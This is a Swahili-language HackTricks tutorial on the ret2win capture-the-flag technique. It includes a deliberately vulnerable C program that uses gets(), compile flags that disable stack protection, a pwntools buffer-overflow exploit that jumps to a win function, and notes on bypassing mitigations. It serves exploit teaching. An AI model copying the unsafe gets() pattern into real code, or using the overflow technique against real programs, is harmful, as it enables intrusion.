9 KiB
Ret2win
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs za kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye HackTricks na HackTricks Cloud repos za github.
Taarifa Msingi
Mashindano ya Ret2win ni jamii maarufu katika mashindano ya Capture The Flag (CTF), hasa katika kazi zinazohusisha udukuzi wa binary. Lengo ni kutumia udhaifu katika binary iliyotolewa ili kutekeleza kazi maalum, ambayo mara nyingi huitwa win
, flag
, n.k. Kazi hii, inapotekelezwa, kawaida huchapisha bendera au ujumbe wa mafanikio. Changamoto kawaida inahusisha kubadilisha anwani ya kurudi kwenye steki ili kuelekeza mtiririko wa utekelezaji kwenye kazi inayotakiwa. Hapa kuna maelezo zaidi pamoja na mifano:
Mfano wa C
Fikiria programu rahisi ya C yenye udhaifu na kazi ya win
ambayo tunakusudia kuita:
#include <stdio.h>
#include <string.h>
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
Ili kutekeleza programu hii bila ulinzi wa stack na na ASLR imelemazwa, unaweza kutumia amri ifuatayo:
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
-m32
: Kupasha programu kama binary ya biti 32 (hii ni hiari lakini kawaida katika changamoto za CTF).-fno-stack-protector
: Lemaza ulinzi dhidi ya kujaa kwa steki.-z execstack
: Ruhusu utekelezaji wa nambari kwenye steki.-no-pie
: Lemaza Position Independent Executable ili kuhakikisha anwani ya kazi yawin
haibadiliki.-o vulnerable
: Ita faili ya patovulnerable
.
Mbinu ya Udukuzi ya Python kwa Kutumia Pwntools
Kwa udukuzi, tutatumia pwntools, mfumo hodari wa CTF kwa kuandika udukuzi. Skripti ya udukuzi itaunda mzigo wa kujaa kwa buffer na kubadilisha anwani ya kurudi na anwani ya kazi ya win
.
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
Ili kupata anwani ya kazi ya win
, unaweza kutumia gdb, objdump, au chombo kingine chochote kinachokuwezesha kukagua faili za binary. Kwa mfano, na objdump
, unaweza kutumia:
objdump -d vulnerable | grep win
Amri ifuatayo itakuonyesha mkusanyiko wa win
function, pamoja na anwani yake ya kuanzia.
Skripti ya Python inatuma ujumbe ulioandaliwa kwa umakini ambao, unapopitishwa na vulnerable_function
, unafunika buffer na kubadilisha anwani ya kurudi kwenye stack na anwani ya win
. Wakati vulnerable_function
inarudi, badala ya kurudi kwa main
au kutoka, inaruka kwa win
, na ujumbe unachapishwa.
Kinga
- PIE inapaswa kuwa imelemazwa ili anwani iweze kutegemewa kila wakati au anwani ambapo kazi itahifadhiwa haitakuwa daima sawa na utahitaji kuvuja fulani ili kugundua wapi kazi ya ushindi imehifadhiwa. Katika baadhi ya kesi, wakati kazi inayosababisha kujazwa ni
read
au sawa, unaweza kufanya Kujaza Sehemu ya 1 au 2 bytes kubadilisha anwani ya kurudi iwe kazi ya ushindi. Kwa sababu ya jinsi ASLR inavyofanya kazi, hex nibbles tatu za mwisho hazijaribiwi, kwa hivyo kuna nafasi ya 1/16 (1 nibble) ya kupata anwani sahihi ya kurudi. - Stack Canaries pia inapaswa kuwa imelemazwa au anwani iliyoharibiwa ya kurudi ya EIP haitafuatwa kamwe.
Mifano na Marejeo Mengine
- https://ir0nstone.gitbook.io/notes/types/stack/ret2win
- https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index.html
- 32bit, hakuna ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index.html
- 64 bits na ASLR, na kuvuja kwa anwani ya benki
- https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html
- 64 bits, hakuna ASLR
- https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html
- 32 bits, hakuna ASLR, kujaza mara mbili ndogo, ya kwanza kujaza stack na kuongeza ukubwa wa kujaza la pili
- https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html
- 32 bit, relro, hakuna canary, nx, hakuna pie, string ya muundo ya kubadilisha anwani ya
fflush
na kazi ya ushindi (ret2win) - https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html
- 32 bit, nx, hakuna kitu kingine, kujaza sehemu ya EIP (1Byte) kuita kazi ya ushindi
- https://guyinatuxedo.github.io/15-partial_overwrite/tuctf17_vulnchat2/index.html
- 32 bit, nx, hakuna kitu kingine, kujaza sehemu ya EIP (1Byte) kuita kazi ya ushindi
- https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html
- Programu inathibitisha tu byte ya mwisho ya nambari ili kuthibitisha ukubwa wa kuingia, kwa hivyo ni rahisi kuongeza ukubwa wowote ikiwa byte ya mwisho iko ndani ya safu inayoruhusiwa. Kisha, kuingia kunajenga kujaza buffer lililoathiriwa na ret2win.
- https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/
- 64 bit, relro, hakuna canary, nx, pie. Kujaza sehemu kuita kazi ya ushindi (ret2win)
- https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/
- arm64, PIE, inatoa kuvuja kwa PIE kazi ya ushindi ni kweli kazi 2 hivyo ROP gadget ambayo inaita 2 kazi
- https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/
- ARM64, off-by-one kuita kazi ya ushindi
Mfano wa ARM64
{% content-ref url="ret2win-arm64.md" %} ret2win-arm64.md {% endcontent-ref %}
Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi mtaalamu na htARTE (HackTricks AWS Red Team Expert)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikitangazwa kwenye HackTricks au kupakua HackTricks kwa PDF Angalia MIPANGO YA KUJIUNGA!
- Pata bidhaa rasmi za PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud github repos.